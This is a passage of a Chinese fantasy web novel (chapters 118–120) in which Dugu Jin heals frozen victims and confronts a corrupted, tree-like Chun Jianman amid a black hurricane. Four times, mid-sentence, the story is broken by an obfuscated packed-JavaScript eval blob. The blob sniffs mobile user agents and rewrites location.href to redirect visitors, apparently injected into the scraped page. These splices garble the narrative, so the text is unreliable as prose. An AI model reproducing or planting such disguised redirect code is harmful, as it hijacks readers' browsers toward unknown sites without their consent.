只不过这个女孩有一半脸都被炸毁了,血肉模糊,连同肩膀到手臂都是血液,也不知道是骨折了,还是怎么样了,现在这些都被冰冻住,如果和之前的人类一样,他们只要解冻,就还能活。 但疼痛也一定会随之而来。 独孤尽喊了一句,“有没有纱布?毛巾也行!” 他怕疼痛之下,女孩误咬伤了舌头。 九尾狐找了条毛巾过来递给独孤尽,独孤尽冲她点了点头,就开始给女孩解冻。 解冻他已经很熟练了,也不用花他多少能量,两三分钟,女孩的身体就开始软化,身上那些被冰覆盖的地方已经透露出来,现在是被水浸润淋湿了,看起来特别可怜。 这水还是血水,染透了独孤尽的袖子。 独孤尽赶紧捏住女孩两颊,把毛巾塞进她嘴里,防咬。 “唔……唔……”疼痛席卷了女孩,她刚软化的四肢一瞬蜷缩在一堆。 独孤尽赶忙继续施救,他集中精神,让自己的能量以最快速度涌到女孩身上。 少女看到了女孩以肉眼可见速度恢复的伤口,堪比鬼斧神工,说愈合就愈合了。 如果独孤尽被有心人发现,那绝对是灾难的存在。 那些不想死的人,会用各种恶劣的方法要挟独孤尽,让他为之续命。 如果变成这样,那她宁可独孤尽没有这个能力,世界就在今天毁灭。 少女的胡思乱想影响到了独孤尽,他满头大汗地睁开眼睛,向负面情绪来源瞪了一眼。 少女立马停止住了自己的想法,拼命往积极层面去想。 也许,独孤尽的这个能力能够挽救很多本不该死的好人。 独孤尽感觉舒畅一点儿之后才重新把注意力放到女孩身上。 她已经被治得差不多了,还有一些擦伤痕迹,这些痕迹独孤尽不想治了,反正死不了了,能捡回一条命已经不错了。 这种寒冷的天气,只是擦伤,并不容易衍生成严重的炎症。 估摸再有个几天就能恢复,甚至不会留下疤痕。 独孤尽急着救其他看起来更加惨烈的人。 有个中年男人连内脏都被拖出了体外,他的胸口像是被什么野兽用爪子撕开的,那是不规则,徒手撕裂的痕迹。 他虽然有能力治愈,但也需要帮人把脏器都塞回去才能继续救治。 独孤尽不想伸手碰这些东西,他毕竟不是医生,更没干过屠宰的活,还是个富家公子哥,让他干这个,他下不去手。 少女刚赶过来看了一眼,就跑到一边干呕去了,九尾狐见状走过来,蹲在旁边。 “我擅长这些,阿尽你尽管治疗。” 独孤尽点了点头,重新把手放上去,用最快地速度把冰融化了。 九尾狐瞅准时机,趁男人还没来得及挣扎的那一刻,抬手挥了挥就将那些脏器全都原封不动塞回了男人的身体。 独孤尽也有经验了,迅速愈合伤口。 男人比女孩还幸运,他几乎没来得及去反应疼痛,再次清醒的时候,身上的伤口已经好了,胸口也是只留了下一点没褪去的疤,像擦伤一样,估计过不了多久也能全消了。 他比女孩清醒的快,显然还记得先前的事情,他吃惊地看着自己胸口,反复看。 “怎么,我记得我被一个巨大的黑爪掏空了,怎么会……”他不敢置信。 但胸口上留下的浅淡痕迹又像是在告诉他,一切都是真的。 “是你们救了我吗?你们怎么救的我,这该是华佗在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689014|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世了吧!”男人跪伏在地上,想要三跪九叩。 什么男儿膝下有黄金,他可是被人救了命,跪一跪才能表达他的心情。 “先起来,跟我说说,你看见的那个黑爪是什么,当时发生了什么?”独孤尽连续救了两人,这两人还没能把能量返还给他,他需要休息会儿。 “我……我想起来了!我老婆还在楼里呢!我要回去找我老婆!”男人突然想起了什么,激动起来。 “你出去看一看,还能找到你家吗?”独孤尽没拦着他。 男人冲出店铺没过一会儿就回来了,他满脸沮丧与懊悔,“外面怎么成这样了,发生地震了吗?就算地壳运动会影响地势,但这也太快了,难道说已经过了很多年了?!” 他看到了其他被冰住的人,想到自己说不定也是被冰了很多年,现在科技发达了,才被人救了。 “说说吧,发生了什么?”独孤尽喘着气,接过少女给他烧的水喝了一口。 “我本来跟我老婆两个人躲在家里,当时外面乌云密布,非同寻常,我们俩都是比较谨慎的性格,想着去超市采购一些东西,留在家里,防止有极端天气没吃的。”男人娓娓道来。 “谁知道,我下楼之后,就被黑雾缠上了,接下来我就越来越害怕,一直到店里看到好多人都被……”他伸手指了指那些被冰住的人。 “我亲眼看着那黑雾变成了一只利爪,轻轻点了点我胸口,我身前就剧痛,很快,我的内脏就争先恐后跑出来了,我想塞回去,但下一秒我就觉得浑身发冷,再后来就是现在了……”中间失去的时间对他来说只是弹指一瞬,他压根没有意识。 “那黑雾到底是什么,好吓人,是新型的武器吗?”男人只要一回忆,恐惧感就席卷全身,独孤尽看了耳鼠一眼,它立马过来给男人施展了心理安抚术,起码让他不再害怕。 独孤尽又坐了会儿,两人的能量才成倍返还到了他身上。 他走到女孩跟前,轻声道,“别怕,你爸爸还在等你,等会儿送你过去跟他团聚。” 女孩听到这话,没觉得安慰,仍旧很害怕,她觉得这个团聚不是真的团聚,而是一起归西。 独孤尽诧异自己接收到的不是感激,而是负面情绪,嘴角抽搐了一下,“你和你爸爸关系不好吗?不想见他也没事。” “我想见的,想见的。”女孩连连点头,她眼里闪着泪花,可独孤尽真没看懂她的意思。 耳鼠手忙脚乱从男人那边过来,重新给女孩做心理安抚。 少女则帮两人反复递毛巾,反复洗毛巾,兵荒马乱好一会儿,独孤尽才屋里的人都救活。 有一人连脑袋都被拧歪了,按理说那一瞬间他就已经要断气死了,可巧就巧在,这人气刚要断,全身就被冰封住了。 独孤尽救他的时候最费劲,生怕一个时机没掌握好,他反而成了杀人凶手。 春渐满在画里眼看着一个个能量点都被不知名的什么一个个销毁,他身上阴郁气息更甚,“我要出去。” 118. 黑雾真身 春渐满暂时没找到哪里能出画,只能一寸寸寻摸这片地方,直到找到了那个独孤尽出去的缝隙。 画在缝隙这儿努力很久了,也没能跟独孤尽一样出去,见有人来了,偷偷躲起来。 可这一看它立马冷汗直冒,春渐满竟然也发现了这个缝隙,想要出去。 他为什么要出去?他出去肯定没好事。 画能感觉到春渐满身上那股想要毁灭一切的暴戾之气,他想要拦住春渐满,可实在没勇气正面刚。 正当它绞尽脑汁,春渐满就往后侧了侧身,直接将它抓了出来。 “躲在这里鬼鬼祟祟,想跟我一起出去?” “……”画不敢开口,怕自己多说多错。 “连回话都不敢的家伙,还妄想去外面?” “好好留在这里。”春渐满似有操纵植物的能力,画还没看清,就被地面上突然冒出的枝条五花大绑束缚住了。 怪的是,这些枝条竟不属于它,不是这个世界的产物,似是外界的东西。 也不知道春渐满是怎么把外面的东西引过来的。 画到底只是一件法器,它没法抵抗,只能眼睁睁看着春渐满开始尝试从裂缝中离开。 一次……两次…… 直到第二十次,春渐满周身的黑雾浓成漩涡了,画都开始打哈欠了,他突然就消失了。 “!”这回画不用怎么费劲就挣脱了那些枝条,毕竟控制它们的主人已经离开了这个空间。 “完了,人也没看住,主人回来我就完了。”画现在想跑路了,它觉得自己作为一件法器,该做的不该做的都做过了,已经充分享受了生活,可以找个谁也看不见的地方藏起来,避难了。 独孤尽正在马不停蹄不断救人,忽然被外头强烈的一股龙卷风惊停了手。 那阵龙卷风离他不仅,在朝北的方向,距离他起码有几小时车程,可那风太黑了,像是要把目之所及全部吞噬。 “主人!”文鳐鱼飞了过来,它老远就感受到了这边熟悉的气息,果不其然见到了熟悉的伙伴,心里总算踏实了一点。 “文鳐鱼,那边什么情况?”独孤尽见它是从龙卷风那个方向飞过来的。 “不得了了,我本来在那边呆着,寻找其它神兽,但就在刚刚突然出现了飓风,直接把我往这边吹过来了。”文鳐鱼又朝那边看了一眼。 独孤尽发现这场飓风和平时的不太一样,平时起码有一点儿规律,可这次的像是受人的意识操控,想往哪儿就往哪儿。 “它看起来,应该还没想往这边来。”独孤尽又看了会儿,赶忙把救治好的人集中起来。 “你们去南边,那边有一些店铺上挂了特殊标志,这些都是被救治过的店铺,可以暂时呆着休息,我要走了。”独孤尽又看了看外头。 他要去飓风旁边看看究竟是怎么回事。 “主人?!那边很危险,不宜过去!”文鳐鱼急的满头大汗,其它人类听到他们的救命恩人这么说,也不想放独孤尽走,“不行,别去!不然,我们一起去,本来我们的命就没了,这是多出来的命,要去也应该是我们去。” “你们能保证自己不被黑雾影响吗?”独孤尽已经跟每个人讲过如何抵御内心那些邪恶叫嚣影响他们的情绪,可真正能做到的,也寥寥无几,现在只不过黑雾没靠近他们,只要靠近他们,下场应该和之前没什么区别,他可不想再救一次。 虽然从目前来看,反复救人对他来说是有好处的。 “我们……我们尽量控制自己……”只是被独孤尽这么一问,就没了先前的坚定,这种意志力是无法抵抗黑雾的。 独孤尽看了九尾狐一眼,她点了点头,使出了蛊惑之术,让大家听她的,去避难。 当明知前方是危险,却要向着危险而去时,每一步走的都会比平时更艰难,也更坚定。 独孤尽甚至走的比平时更快。 他已经迫不及待要去看看这黑雾到底是什么了。 之前一直没让他正面撞上,这东西不知道是藏头缩尾还是怎么回事,不敢以真身见他。 独孤尽是既恐惧又兴奋的,跟在他身边的神兽则有些五味杂陈了。 他们的主人,不知道的还以为是要去面见情人呢。 春渐满从画中出来后,疯狂吸收着生灵带给他的浓郁能量,所到之处生灵涂炭,原本被冰雪覆盖住还绿油油的植被全都枯萎了。 不是被寒冷冻枯萎的,而是生命精华全被吸收殆尽,等到来年春天,天气回暖也不会再爆出新枝芽了。 “那是什么……”独孤尽刹住了车,他一个漂移将车停在了枯树旁。 有一棵长满了藤条的树在缓慢移动,它生长在黑色龙卷风的中心,里面似乎无风无波,平静异常。 “树人?”耳鼠胡乱猜测,它不是没见过会活动的树,可这么强大的树,它也是第一次见。 “你们留在这,我过去看看。”独孤尽不打算让神兽跟着他冒险,退一万步来说,如果他出了什么意外,神兽还能救他,如果神兽跟他一起过去了,出了意外那就真的没救了。 耳鼠还想争辩,就被九尾狐扯了扯耳朵,“听阿尽的,他有他的道理。” “嗯……好。”耳鼠点点头,它蹿到九尾狐的怀里窝着。 “九尾狐,这个世界变得好冷啊,不过我现在没之前冷了,刚找到主人的时候,我血都快冻光了,浑身冷得只剩半口气。”耳鼠怅然若失地看着独孤尽越走越远。 “别担心呀,说不定晚点那个树人也变成我们的伙伴了,不记得之前他怎么一个个把我们收服的了?”九尾狐朝耳鼠眨眨眼睛。 那是太过遥远的过去了,它们本是不受束缚的妖兽,从未想过有朝一日,自己也能跟神这个字眼扯上边。 可当它们的桀骜不驯都被同一人驯服后,这个人升了仙,它们也变成了神兽。 “世间万千,变化多着呢,有时候看着凶险的不一定真的凶险,有时候看着安全的反而很危险。”九尾狐也盯着独孤尽远去的身影感叹。 “你们俩什么时候变得这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689015|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么伤春悲秋了,不像你们了。”文鳐鱼有点儿摸不着头脑,它往空中飞去,居高临下看了看独孤尽,“还没进飓风,不知道主人要怎么进去。” 独孤尽站在浓重的黑色外,已经什么都看不清了,这不是人类能接受的黑度。 他光靠着其它感官来分辨方向,风最大的地方就是他要进入的地方。 可还没等他接触到这风,他就被卷了起来,旋到了半空中。 “哇——”实在忍不住喊出了声,独孤尽抵抗着风压抹了把脸,他将自己的治愈能力放到最大。 只要周围有生物存在,他就能替对方治愈。 这周围多的是已经被抽干了精髓的草木,光是一会儿,就被他起死回生了一片。 那飓风似乎弱了些,独孤尽发现自己在缓缓下降,最终落回了地面。 有什么从飓风中心冲了出来,他刚恢复一点的薄弱感知力都能察觉到那股浓烈的敌意。 “原来是你!坏我大事!”春渐满的声音也不似从前了,格外沙哑,让人无法分辨。 更别说现在的独孤尽感知力也不行,眼睛也睁不开,纵使睁开了,这浓重的黑也让他无法视物。 “你的大事?!是将这世间变成炼狱吗?”独孤尽大喊出来,他的声音也不似先前,经过刚才,又被风吹着,断断续续,挺难听的。 “炼狱?这里可是春暖花开的美景,倒是你!反复毁掉我一手创造的世界桃源!”春渐满眯起眼睛,盯着下面渺小得如同蝼蚁的独孤尽。 “这些草木都被你毁了!你还说是桃源?!”独孤尽不敢置信,如果不是他刚刚治愈了那么多草木,他都要相信对方说的胡话了。 毕竟对方的口气一点儿也不像在说谎,他是笃定的。 “分明是你毁了这些草木!毁了我的世界!” 两人的争吵一触即发,若不是双方能力都没恢复,恐怕就要大打出手了。 “停!别吵了!”独孤尽发觉自己再吵下去又要被黑雾影响了,到时候增长的是敌人的能力,他才不做这么愚蠢的事。 “你跟我说说,你是什么东西。”尽管想要休战,可独孤尽说话仍旧毫不客气。 “我为什么要告诉你,倒是你,是什么玩意儿?!”春渐满根本不肯放过独孤尽,他吵得正上头,而且越吵他越觉得自己能量充裕,恨不能就这么一直吵下去。 “停停停……告诉我,你的目的。”独孤尽一边安抚自己的内心,一边尽量心平气和跟面前这东西交流。 “目的?自然是让每一片土地上都有花。”春渐满这回没再吵,可他认真地回答听在独孤尽的耳朵里仍旧像是假话,讽刺。 “你很喜欢花?你是树吗?”独孤尽偷偷往后挪了挪,试图稍微远离点飓风,重新看一看这东西的模样。 “别想套我的话,你还没说你是什么玩意儿!”春渐满根本不上当,他上前一步,揪住独孤尽的衣领。 那一刻,黑雾散了一瞬,独孤尽看清了眼前的面容,可他宁愿自己什么都没看到! 119. 真假难辨 无论怎么想,那张面容他都不可能认错。 那可是他的满哥,春警官,春老师! 纵使他变得不那么像他了,发型也变了,气质也变了,可那张脸他不可能认错的。 独孤尽回过神的时候,黑雾又将他包裹起来,强烈的负面情绪压迫上来,他过了好一会儿才发现自己被提了起来。 又过了好一会儿,才意识到这个提他的人是春渐满。 怎么会变成这样,为什么他的满哥会变成树人?! 是不是因为留在画里,没抵抗过那黑雾,被侵蚀了! 独孤尽越想越后悔,当时他就该无论如何想办法回画里的。 独孤尽试图返回画中,可就算是现在,他已经恢复了一点能力,也无法顺利返回画里。 压迫感越来越强,独孤尽不得不伸手握住了那只揪着他衣领的手。 他们初见的时候,是他这么拎着春渐满,现在倒是反过来了。 独孤尽的唇角向上扬了一下,挺身凑上前去,差点亲在那张变得快认不出的脸上。 春渐满吓了一跳,松开了手,将独孤尽推远。 “滚!” 独孤尽为了不摔得太惨,还真蜷着身体在地上滚了两圈才重新站起来。 “满哥!是我啊!你看不清我吗?是不是雾太浓了?”独孤尽仍不死心,他超前又走了一步,这么近的距离,他能隐约看到春渐满的轮廓。 那轮廓太庞大,枝条纵横,如果不是那张脸,独孤尽真无法把这东西和春渐满挂上钩。 “你知道我的名字?”春渐满愣了愣,他自然看得清眼前这个生灵,但他太渺小,他们怎么会认识? “满哥!春老师!春警官!你真的一点都想不起来了吗?我们一起经历了很多很多……”独孤尽轻声念着,这些话他没想让春渐满听见,但春渐满却悉数收进了耳中。 “我跟你经历了很多?不可能。”春渐满不敢置信自己会选择和这样一个截然相反的生灵合作。 他要的是世界上遍布鲜花丛林,干干净净,漂漂亮亮,可眼前这人,把一切都毁了。 独孤尽似是想到了什么,他伸手指了指旁边被摧毁的一棵原本郁郁葱葱的大树,“在你眼里,这是什么?” “盛开的槐树。”春渐满难得没无视独孤尽的问题,老老实实回答了。 此刻,他似乎也意识到了什么。 “你呢?” “枯败无法再复活的死树。”独孤尽没绕弯子,他折下一根干枯的树枝,递过去。 春渐满半信半疑伸手接住那根在他眼里开满了槐花的枝条。 独孤尽没有松开手,两人同时交握之时,这根树枝变得极其怪异,一半有花,生机盎然,而另一半则干枯碳化,似乎再碰两下就要随风飘散了。 春渐满下意识也没松手,他握着这根枝条盯了许久,又看了独孤尽许久,才松开手。 “你使了什么诡计?”他不信独孤尽。 “你觉得我能有这么强的能力,使用诡计,在你面前?”独孤尽苦涩地收回手,丢掉那根没了生机的枝条。 “我原本觉得我在维护世界,让那些即将失去生命的人重新活过来,可你来这么一出,我也不清楚自己是不是真的在救人了。”独孤尽仰面望向天际,飓风挡在他才面前,早就将他目之所及的那片天遮住了,他什么也看不见。 “能不能先把那东西收一收?”独孤尽指了指春渐满背后的飓风。 “可我要向大地播撒种子,否则这片土地上光秃秃的,什么都没生长,太丑了。”春渐满摇了摇头,他还是不相信独孤尽。 “过一会儿,有的是时间让你改变世界。”独孤尽也开始有点不相信自己的眼睛了,先前一直盯着刺目的白,现在又是盲目的黑,他怀疑自己是不是看错了人,眼前这人说不定根本不是他心心念念的春渐满。 春渐满又想了会儿,觉得只是一时半刻的话,也无妨,想来眼前这人也掀不起什么风浪。 飓风消散的那一刻,风平浪静,就像疾风从未出现过一样,可周围被它波及到的树木花草却触目惊心,独孤尽看了看一地的残花败叶,暗自叹了口气,说不定在人家眼里,这里遍地鲜花。 他眨了眨眼睛,重新看向面前的人。 仍旧是那张他日思夜想的面容,只不过这一次他看得更清楚了,也更明白发生了什么。 春渐满的身上发生了变异,枝条从他身上蔓延,他自己就像一棵树的树干一样,还保留着人类的生体特征,看起来像树妖,但也不丑,虽然在他眼里的是枯树枝,但也怪好看的。 “你抬起手,看一看。”独孤尽示意他扬起手。 春渐满看了看自己缠绕花枝的手臂,没觉得有什么问题。 “是不是很美?”独孤尽在观察春渐满的反应。 “是挺好看的。”春渐满又欣赏了一下,重新看向独孤尽,在他的眼里,独孤尽可一点都不美,他全身上下竟没被一点花叶装饰。 “你最初的意识是什么?” “你想问什么?我真不认识你。”春渐满发誓,他没见过这么丑的生灵。 “我……”独孤尽顿了顿,“你是不是叫春渐满?” 春渐满还没回答,独孤尽就从他的反应里读出了答案,他猜的没错,这就是春渐满。 “你不好奇,我们不认识,我为什么会知道你的名字吗?” “知道我的名字很稀奇吗?大家都认识我。”春渐满微扬下颚,“想要让草木丰盛,鲜花遍地,都要求我、拜我。” “难不成,你也是我的信徒?狂热信徒?”春渐满想到了一个解释,看向独孤尽的眼神都变得古怪起来。 “就算你喜欢我,也不能阻碍我的大业,更别想让我先去你的地方施展法术。”春渐满收回手,吻了吻枝条上的花瓣。 独孤尽眼睁睁看着他亲吻枯败枝条,嘴角抽了抽,“我恳请你千万别去我的地方施展法术。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689016|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独孤尽摆了摆手,他也不知道该怎么办了,眼前的人虽然是春渐满,却不是他认识的那个春渐满。 “你,可以去天上施展你的大业,但是别在土地上施展,不然我将与你为敌。”独孤尽几乎是咬着牙才能说出这番话。 他现在很茫然,非常茫然,他不知道自己该做什么,不该做什么,做什么是对的,什么又是错的。 好像从他和其它人类的角度来看,他做的一切都是好事,可从春渐满的角度来看,他就变成了毁灭世界的大坏人。 九尾狐和耳鼠它们远远地看到飓风停歇了,以为独孤尽成功了,欣喜溢于言表,耳鼠就快飞过去了,被九尾狐一把抓住。 “等等,我想过去看看,如果没什么问题,回来通知你。”九尾狐不太放心,生怕有别的变数。 她跟人类相处的时间最长,明白有的时候,这种情况是陷阱,是为了诱敌深入。 耳鼠和文鳐鱼的兴奋被浇了个冷水,两只也平静下来了,如果是这样的话,那它们还要继续提高警惕,随时准备动手。 九尾狐没花多少时间就冲到了独孤尽身边,但当她看清眼前的一切时,就寸步难行了。 “春……春老师……”她不敢相信眼前的树妖长着一张春渐满的脸。 “你也认识我?”春渐满这回是真惊讶了,如果这两个都不是他的信徒,那只能说明一件事,他丧失了一部分记忆。 “阿尽,这是怎么回事?春老师怎么变成这样了?你没保护好他!”九尾狐虽然不是和春渐满关系最好的那个,但也和春渐满无仇无怨,甚至还有一点同事情谊。 独孤尽没回话,他惆怅地看着周围的枯树,试图想象这些在春渐满眼里都是花簇。 “九尾狐,你看看周围,是鲜花,还是枯枝?”独孤尽最终还是寻求了旁观者。 “阿尽你在开什么玩笑,这周围的枯树多得都能拿去当柴火了,你没事吧?你和春老师怎么了?”九尾狐觉得这里没危险,可好像也不太平,这两人似乎,随时都能开战。 九尾狐如果现在是原形,那一身的皮毛都要竖起来了。 “你们这么说,岂不是只有我看到的是鲜花遍地了?难不成我看到的是假的?”春渐满开始动摇时,他周身的黑气有一瞬间抽离,可很快,黑雾像是有磁性一样,又被牢牢吸附了回去。 “你们是一伙的,都在骗我。”春渐满似乎受到黑雾影响,怒极,飓风一瞬就涌现出来,独孤尽和九尾狐虽做了准备,却还是被席卷上了半空。 耳鼠和文鳐鱼远远看着,都被风吹了一脸,“不好!主人和九尾狐有危险!果然是陷阱!” “可……我们也没人能求助……靠……靠我们两个吗?”如果神兽都聚集起来,一起动手说不定还能有胜算,可现在就剩它们两个在这。 “想想,想想,还有什么办法!” “风很大!我们可以利用风的高度,做标记,召集其它伙伴!”耳鼠突然灵机一动。 120. 天鞭 文鳐鱼扭头去便利店找了一些毛巾,又拿了针线,胡乱缝了几下,拼接在一块儿变成一个花里胡哨的旗帜,只不过这个旗帜现在没有杆儿,不过,这并不重要,它们需要把这面旗帜贴到飓风外围,让它卷起来,让四面八方都能看见。 这旗帜上文鳐鱼还故意染上了自己的气息,只要神兽瞧见,都能分辨出来,无论多远。 可,现在的问题是,谁去当那个拿旗帜的。 这飓风可不是闹着玩的,主人和九尾狐都被卷了,它们要是再损失一员,剩下的那只绝对会很无措。 “不如……我们石头剪刀布吧。”文鳐鱼跟耳鼠建议,虽然它很想自己过去,但只要想到被留下的心情,就无法擅自作出这种自私的决定了。 “好……”耳鼠没有异议,但它非常擅长读心理,石头剪刀布这种决定方式其实对它很有利。 三局两胜后,文鳐鱼很意外自己竟然赢了,耳鼠冲它笑了笑,“快去吧,交给你了!” 它必须留下,如果它留下,无论之后发生什么,起码它还能起到治愈的作用,至少也能救一个。 “我去了。”文鳐鱼没再感慨,它三两下就把旗帜的一头缝在了自己衣服上,只要它被飓风卷起来,这个计划就成功了。 在风暴中心的独孤尽和九尾狐刚被卷起来的时候还一脸懵,半天都找不到方向,转的晕头转向,可没用多久时间就把转的频率算准了,能在同一时间睁眼,看到同一片场景。 也正是因此,辨认出了来时的方向,同时看到了越来越近的旗帜。 旗帜几乎将文鳐鱼全都遮住了,但上面有个熟悉的气味,独孤尽只是隐约感觉到了,可九尾狐一下就分辨出来了,是文鳐鱼。 可他们现在无法交流,也无法从风里出来。 九尾狐想要借助旁边的树让自己远离飓风,但这些树都已然失去了生机,无法借力,轻轻一搭就开始断裂,没有了韧性。 任何东西都需要韧性,否则就是劈啪作响,粉身碎骨。 “……”九尾狐试图张嘴,可她才张开一条缝,就有风不断往里灌,把她姣好的面容都吹得歪七扭八。 九尾狐闭上眼睛,她不想再这样坐以待毙了,她想现出原形,与之对抗。 独孤尽察觉到身边的气息异动,知道可能会发生什么,心里也沉了几分。 他不想看神兽跟春渐满起冲突,可就连他自己都快跟春渐满对抗起来了。 文鳐鱼从外圈过来,很难进入飓风中心被卷起来,它不断被吹飞,几乎是走十步退八步,异常艰难。 原本它还能飞,离得越近,它越飞不了。 忽然,一阵红光乍现,九尾狐现出了原形,九条毛茸茸的大尾巴,和刻意放大的身形如同一座巍峨的大山钉在地上。 九尾狐没再被飓风卷起来了,它牢牢扎根在地上,顺带着还给文鳐鱼挡去了一大部分大风,文鳐鱼跑得更快了,没一会儿就冲到了九尾狐身前。 “快,把我抛进去,让我被风卷起来。” 九尾狐凑近了才发现是、文鳐鱼身上那花里胡哨的居然是用多块花样不同的毛巾拼出来的。 “你……想……干什么?”九尾狐一开口,声音仍旧被吹得七歪八拐。 它窘迫地闭上嘴,不打算再开口了,无论要做什么,它都会尽力支持。 “帮,帮我,把我抛上去,抛进去!”文鳐鱼说话也断断续续,它指了指自己身上的毛巾,又指了指飓风。 “好!小心!”九尾狐点了点头,分出了一条尾巴,缠住文鳐鱼,用力将它抛向飓风。 没了九尾狐这座大山的遮挡,文鳐鱼又离风这么近,一下子就被卷到了最高处,它飘了两下,终于把身体舒展开,让旗帜能够最大程度呈现。 文鳐鱼的气息虽然不浓郁,可被风吹得到处都是,引得四处散落本就敏锐的神兽齐齐看向了天空。 之前天上的黑雾飓风它们也看见了,可现在,它们见到了特别无厘头的东西,这飓风上竟然有一个彩色的东西在一直旋转。 这东西转起来看着很向棒棒糖,几乎在同一时间,所有人神兽都觉得放飞这个旗帜的人一定是它们的主人,独孤尽。 毕竟不会有人再做这么无厘头的事了。 虽然猜错了做这件事的人,却猜对了意图。 神兽们只要是还能动的,就往独孤尽那边过去了,现在有没有旗帜已经不重要了,信号放出去了就足够了。 除非有一些伤的太严重,无法动弹,甚至都无法睁眼的,才会错过信号。 文鳐鱼在顶上又转了好一会儿,转得它觉得自己晕得快吐了,才朝底下做了手势。 这个意思是,可以救它下去了。 可无论是独孤尽还是九尾狐都没有这么强的力量让这阵飓风停止。 一圈又一圈,飓风似乎没有变强也没有变弱,只不过稳坐在地上的九尾狐悄悄挪动了步子,它往旁边绕了绕。 如果它没记错的话,春渐满应该需要把那些树都璀璨掉,只有这样,飓风才会越来越厉害。 现在,飓风没有变大,舅说明春渐满还没继续生灵涂炭。 那也就是说……这周围的地形其实有利于他们。 可惜的是,他们没等到春渐满变弱,反而等来了第一个追过来的神兽。 “应……龙……”九尾狐这次喊出声仍旧没有什么杀伤力,声音都被吹散了。 应龙能控水,它见风如此嚣张,引了水过来打算把风压下去,却没想到这水一碰到风,就被吹得四散开来,如同天女散花,撒向了枯黄的土地上。 虽然用水攻击风没让风停下来,可春渐满双眸发出金光,他看到了稀奇的东西,他把风给暂时停了。 “把它给我。”春渐满朝应龙一步步走过去。 “给你什么?”应龙看着面前陌生的春老师,一下子明白过来发生了不好的事,可它还真不知道自己该给什么。 “你的能力,把你的能力给我,能浇水,有了水,花就能开得更加茂盛。”春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689017|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐满有点兴奋了,他刚刚看着自己的风加上对方的雨,就能变成最大的浇灌器,这很神奇。 “不给,除非你不再乱用你的能力。”应龙没答应,它在神兽里是极其强大的存在,除了主人,他还没跟谁低过头。 即便是春渐满也不行。 况且,现在的春渐满看起来太奇怪了,不像个人,反而像是妖。 “我没有乱用,我在清理地上的杂草和泥土,让这片土壤变得丰沃,能够种植出最好的植被。”春渐满为自己的行为解释,他真的很需要这个大型灌溉器。 应龙没说话,他看向了独孤尽。 独孤尽跟应龙使了个眼神,才缓步走过来,跟应龙说了两句悄悄话。 “他看到的世界和我们看到的不一样,从他的角度来说,他并没有在破坏,而且说的都是真的。”独孤尽暗自叹着气。 “那也不能就这样任由他胡来,主人您怎么回事,以前抓我们的时候,不是很能言善辩吗?怎么碰到春老师就犯糊涂了?”应龙百思不得其解,它们有一些神兽可是没动用独孤尽一兵一卒,纯粹靠他嘴炮给说服的啊。 “我……”独孤尽想到面前这位是春渐满,就无法对他疾言厉色。 “您说不了,我来。”应龙往前踏了一步,他要跟春渐满好好谈判。 “既是要让土壤变得丰沃,那就把飓风变小,控制到只翻土的程度,像你这样狂风席卷,再好的土地都会坏死。”应龙说的这番话十分有道理,春渐满只想了一秒,就赞同了。 他在掌心里搓出了一个小型飓风,让它贴着地面缓慢前行。 可这东西才前行一会儿,就忽然消散了。 再一瞧,应龙把文鳐鱼身上的毛巾摘了下来,盖在了那飓风上,直接把它扑灭了。 “你干什么?!耍我?!”春渐满怒气,身上的黑气丝丝缕缕钻出来,在他背后形成新的飓风。 “稍安勿躁,我让你把飓风变小,也没让你变这么小,可以到膝盖骨这儿,这么大,既能好好开垦土地,我引水过来也不会飞渐的到处都是。” 春渐满被堵的哑口无言,反而求助地看向了独孤尽。 这是独孤尽第一次在意识错乱的春渐满身上见到这种神情,以前春渐满记忆正常的时候,他虽然一开始不喜欢求助,可到后来,越来越依赖他,无法离开他。 “应龙,别欺负得太厉害。”独孤尽觉得应龙做法没问题,甚至比他做的还好,自然说不出阻止的话,只是稍微劝诫了几句。 春渐满就算失去了某些记忆也绝对不是个笨的,他听出了独孤尽话里的意思,怒气更甚,黑气也更甚。 